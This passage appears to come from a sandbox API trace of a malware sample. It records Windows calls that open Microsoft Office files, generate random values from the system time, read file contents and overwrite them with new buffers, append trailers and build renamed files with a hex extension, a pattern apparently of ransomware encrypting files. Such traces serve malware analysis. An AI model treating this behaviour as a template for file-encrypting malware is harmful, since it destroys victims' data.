dwFileAttributes=0x20) returned 1 [0118.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdd4 [0118.806] GetFileSizeEx (in: hFile=0xdd4, lpFileSize=0x3e74f7a0 | out: lpFileSize=0x3e74f7a0*=41864) returned 1 [0118.806] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0xa384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.806] ReadFile (in: hFile=0xdd4, lpBuffer=0x3e74f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e74f768, lpOverlapped=0x0 | out: lpBuffer=0x3e74f720*, lpNumberOfBytesRead=0x3e74f768*=0x4, lpOverlapped=0x0) returned 1 [0118.813] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7d0 [0118.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aac20 [0118.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa620 [0118.814] NtQuerySystemTime (in: CurrentTime=0x3e74f660 | out: CurrentTime=0x3e74f660*=132462177242458000) returned 0x0 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x7577731f [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x60f704aa [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x3c324c00 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x6a4a4291 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x426ae392 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x1e168128 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x7dd12694 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x3f9b8ddf [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x686ef64b [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x3737a37a [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x63ccb315 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x6e8a171a [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x10f821f1 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x14432dd9 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x43ff6225 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x70afefe0 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x3d69e02c [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x2d22d2dc [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x5ba5b765 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x48ad8442 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x56bf6738 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x4f942161 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x2ba50e2b [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x56a48086 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x3e97baeb [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x4bb38287 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0xeac20a3 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x32a40a4a [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x400d6fb2 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x26b4b387 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x75e35e58 [0118.814] RtlRandomEx (in: Seed=0x3e74f650 | out: Seed=0x3e74f650) returned 0x4476a7bb [0118.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa650 [0118.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0118.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa890 [0118.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0118.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa620) returned 1 [0118.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7d0) returned 1 [0118.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201d78d0 [0118.822] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.822] ReadFile (in: hFile=0xdd4, lpBuffer=0x201d78d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e74f6c0, lpOverlapped=0x0 | out: lpBuffer=0x201d78d0*, lpNumberOfBytesRead=0x3e74f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0119.043] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0119.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0119.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4d0 [0119.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4d0) returned 1 [0119.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20204990 [0119.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4d0 [0119.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa9e0 [0119.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa9e0) returned 1 [0119.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0119.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0119.044] WriteFile (in: hFile=0xdd4, lpBuffer=0x20204990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e74f6c0, lpOverlapped=0x0 | out: lpBuffer=0x20204990*, lpNumberOfBytesWritten=0x3e74f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0147.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20204990) returned 1 [0147.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201d78d0) returned 1 [0147.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85f490 [0147.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8f0 [0147.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79db70 [0147.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860cf0 [0147.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860cf0) returned 1 [0147.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860cf0 [0147.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffa0 [0147.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7410 [0147.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7410) returned 1 [0147.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79db70) returned 1 [0147.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0147.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167ee0 [0147.862] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.862] WriteFile (in: hFile=0xdd4, lpBuffer=0x167ee0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3e74f770, lpOverlapped=0x0 | out: lpBuffer=0x167ee0*, lpNumberOfBytesWritten=0x3e74f770*=0x10a, lpOverlapped=0x0) returned 1 [0163.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ab0 [0163.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0163.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19bc0 [0163.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19bc0) returned 1 [0163.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0163.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19bc0 [0163.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19bf0 [0163.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19bf0) returned 1 [0163.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0163.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0163.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ebf0 [0163.020] sprintf (in: _Dest=0x1cd9ebf0, _Format="%c%c" | out: _Dest="98") returned 2 [0163.020] sprintf (in: _Dest=0x1cd9ebf2, _Format="%c%c" | out: _Dest="0a") returned 2 [0163.020] sprintf (in: _Dest=0x1cd9ebf4, _Format="%c%c" | out: _Dest="7f") returned 2 [0163.020] sprintf (in: _Dest=0x1cd9ebf6, _Format="%c%c" | out: _Dest="07") returned 2 [0163.020] sprintf (in: _Dest=0x1cd9ebf8, _Format="%c%c" | out: _Dest="19") returned 2 [0163.020] sprintf (in: _Dest=0x1cd9ebfa, _Format="%c%c" | out: _Dest="fd") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ebfc, _Format="%c%c" | out: _Dest="cc") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ebfe, _Format="%c%c" | out: _Dest="14") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ec00, _Format="%c%c" | out: _Dest="f6") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ec02, _Format="%c%c" | out: _Dest="ee") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ec04, _Format="%c%c" | out: _Dest="29") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ec06, _Format="%c%c" | out: _Dest="b8") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ec08, _Format="%c%c" | out: _Dest="95") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ec0a, _Format="%c%c" | out: _Dest="d6") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ec0c, _Format="%c%c" | out: _Dest="b8") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ec0e, _Format="%c%c" | out: _Dest="d9") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ec10, _Format="%c%c" | out: _Dest="4e") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ec12, _Format="%c%c" | out: _Dest="66") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ec14, _Format="%c%c" | out: _Dest="f6") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ec16, _Format="%c%c" | out: _Dest="ad") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ec18, _Format="%c%c" | out: _Dest="a2") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ec1a, _Format="%c%c" | out: _Dest="36") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ec1c, _Format="%c%c" | out: _Dest="29") returned 2 [0163.021] sprintf (in: _Dest=0x1cd9ec1e, _Format="%c%c" | out: _Dest="15") returned 2 [0163.021] RtlInitAnsiString (in: DestinationString=0x3e74f7e8, SourceString="980a7f0719fdcc14f6ee29b895d6b8d94e66f6ada2362915" | out: DestinationString="980a7f0719fdcc14f6ee29b895d6b8d94e66f6ada2362915") [0163.021] RtlAnsiStringToUnicodeString (in: DestinationString=0x3e74f7b8, SourceString="980a7f0719fdcc14f6ee29b895d6b8d94e66f6ada2362915", AllocateDestinationString=1 | out: DestinationString="980a7f0719fdcc14f6ee29b895d6b8d94e66f6ada2362915") returned 0x0 [0163.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e330 [0163.022] RtlFreeAnsiString (AnsiString="9") [0163.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ebf0) returned 1 [0163.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0163.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19bc0) returned 1 [0163.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167ee0) returned 1 [0163.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860cf0) returned 1 [0163.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ffa0) returned 1 [0163.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f490) returned 1 [0163.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4d0) returned 1 [0163.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aac20) returned 1 [0163.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa650) returned 1 [0163.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa890) returned 1 [0163.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c22240 [0163.026] wcscat (in: _Dest=0x42c22240, _Source="980a7f0719fd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\980a7f0719fd") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\980a7f0719fd" [0163.026] wcscat (in: _Dest=0x42c22240, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\980a7f0719fd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\980a7f0719fd.2f9b60" [0163.026] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\980a7f0719fd.2f9b60", NtPathName=0x3e74f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\980a7f0719fd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b861540 Thread: id = 1388 os_tid = 0x1804 [0118.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 0x20 [0118.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD", dwFileAttributes=0x20) returned 1 [0118.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1764 [0118.811] GetFileSizeEx (in: hFile=0x1764, lpFileSize=0x3cfbf8e0 | out: lpFileSize=0x3cfbf8e0*=1694) returned 1 [0118.812] SetFilePointerEx (in: hFile=0x1764, liDistanceToMove=0x69a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.812] ReadFile (in: hFile=0x1764, lpBuffer=0x3cfbf860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3cfbf8a8, lpOverlapped=0x0 | out: lpBuffer=0x3cfbf860*, lpNumberOfBytesRead=0x3cfbf8a8*=0x4, lpOverlapped=0x0) returned 1 [0118.822] SetFilePointerEx (in: hFile=0x1764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7d0 [0118.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa620 [0118.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa2f0 [0118.822] NtQuerySystemTime (in: CurrentTime=0x3cfbf7a0 | out: CurrentTime=0x3cfbf7a0*=132462177242458000) returned 0x0 [0118.822] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x3555e17 [0118.822] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x469e6900 [0118.822] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x568a18bb [0118.822] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x2fa83494 [0118.822] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x63c418fe [0118.822] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x2d799c15 [0118.822] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x154fbb64 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x6e0bd109 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x5fc448d [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x7dbc20b7 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x5ebdf8d8 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x2e8e3ca3 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0xa2f3fc0 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x617acc97 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x282dc32a [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x1346c67f [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x28c5b2d4 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x1346c67f [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x5a4b4b58 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x75378a7d [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x1484a8d7 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x1b9903eb [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x617bdc17 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x282dc32a [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x4d730643 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x2a19d1c7 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x603546c8 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x6c04c2bd [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x7d168467 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x56b9e671 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x2222dc24 [0118.823] RtlRandomEx (in: Seed=0x3cfbf790 | out: Seed=0x3cfbf790) returned 0x6c75183 [0118.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa6e0 [0118.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0118.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa470 [0118.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0118.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa2f0) returned 1 [0118.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7d0) returned 1 [0118.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0118.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7d0 [0118.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa7d0) returned 1 [0118.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20204990 [0118.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201db4e0 [0118.831] ReadFile (in: hFile=0x1764, lpBuffer=0x20204990, nNumberOfBytesToRead=0x69e, lpNumberOfBytesRead=0x3cfbf790, lpOverlapped=0x0 | out: lpBuffer=0x20204990*, lpNumberOfBytesRead=0x3cfbf790*=0x69e, lpOverlapped=0x0) returned 1 [0118.831] SetFilePointerEx (in: hFile=0x1764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.831] WriteFile (in: hFile=0x1764, lpBuffer=0x201db4e0*, nNumberOfBytesToWrite=0x69e, lpNumberOfBytesWritten=0x3cfbf794, lpOverlapped=0x0 | out: lpBuffer=0x201db4e0*, lpNumberOfBytesWritten=0x3cfbf794*=0x69e, lpOverlapped=0x0) returned 1 [0118.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7d0 [0118.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4d0 [0118.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4d0) returned 1 [0118.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201db4e0) returned 1 [0118.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20204990) returned 1 [0118.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0118.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4d0 [0118.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0118.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0118.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0118.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0118.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa9e0 [0118.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0118.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa10) returned 1 [0118.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0118.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x169090 [0118.868] SetFilePointerEx (in: hFile=0x1764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0118.868] WriteFile (in: hFile=0x1764, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3cfbf8b0, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x3cfbf8b0*=0x104, lpOverlapped=0x0) returned 1 [0118.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0118.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0118.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0118.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa10) returned 1 [0118.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b7d5a50 [0118.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0118.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa500 [0118.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa500) returned 1 [0118.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0118.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0118.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202aa500 [0118.915] sprintf (in: _Dest=0x202aa500, _Format="%c%c" | out: _Dest="16") returned 2 [0118.915] sprintf (in: _Dest=0x202aa502, _Format="%c%c" | out: _Dest="44") returned 2 [0118.915] sprintf (in: _Dest=0x202aa504, _Format="%c%c" | out: _Dest="ff") returned 2 [0118.915] sprintf (in: _Dest=0x202aa506, _Format="%c%c" | out: _Dest="80") returned 2 [0118.915] sprintf (in: _Dest=0x202aa508, _Format="%c%c" | out: _Dest="e2") returned 2 [0118.915] sprintf (in: _Dest=0x202aa50a, _Format="%c%c" | out: _Dest="ab") returned 2 [0118.915] sprintf (in: _Dest=0x202aa50c, _Format="%c%c" | out: _Dest="97") returned 2 [0118.915] sprintf (in: _Dest=0x202aa50e, _Format="%c%c" | out: _Dest="1f") returned 2 [0118.915] sprintf (in: _Dest=0x202aa510, _Format="%c%c" | out: _Dest="eb") returned 2 [0118.915] sprintf (in: _Dest=0x202aa512, _Format="%c%c" | out: _Dest="4a") returned 2 [0118.915] sprintf (in: _Dest=0x202aa514, _Format="%c%c" | out: _Dest="ee") 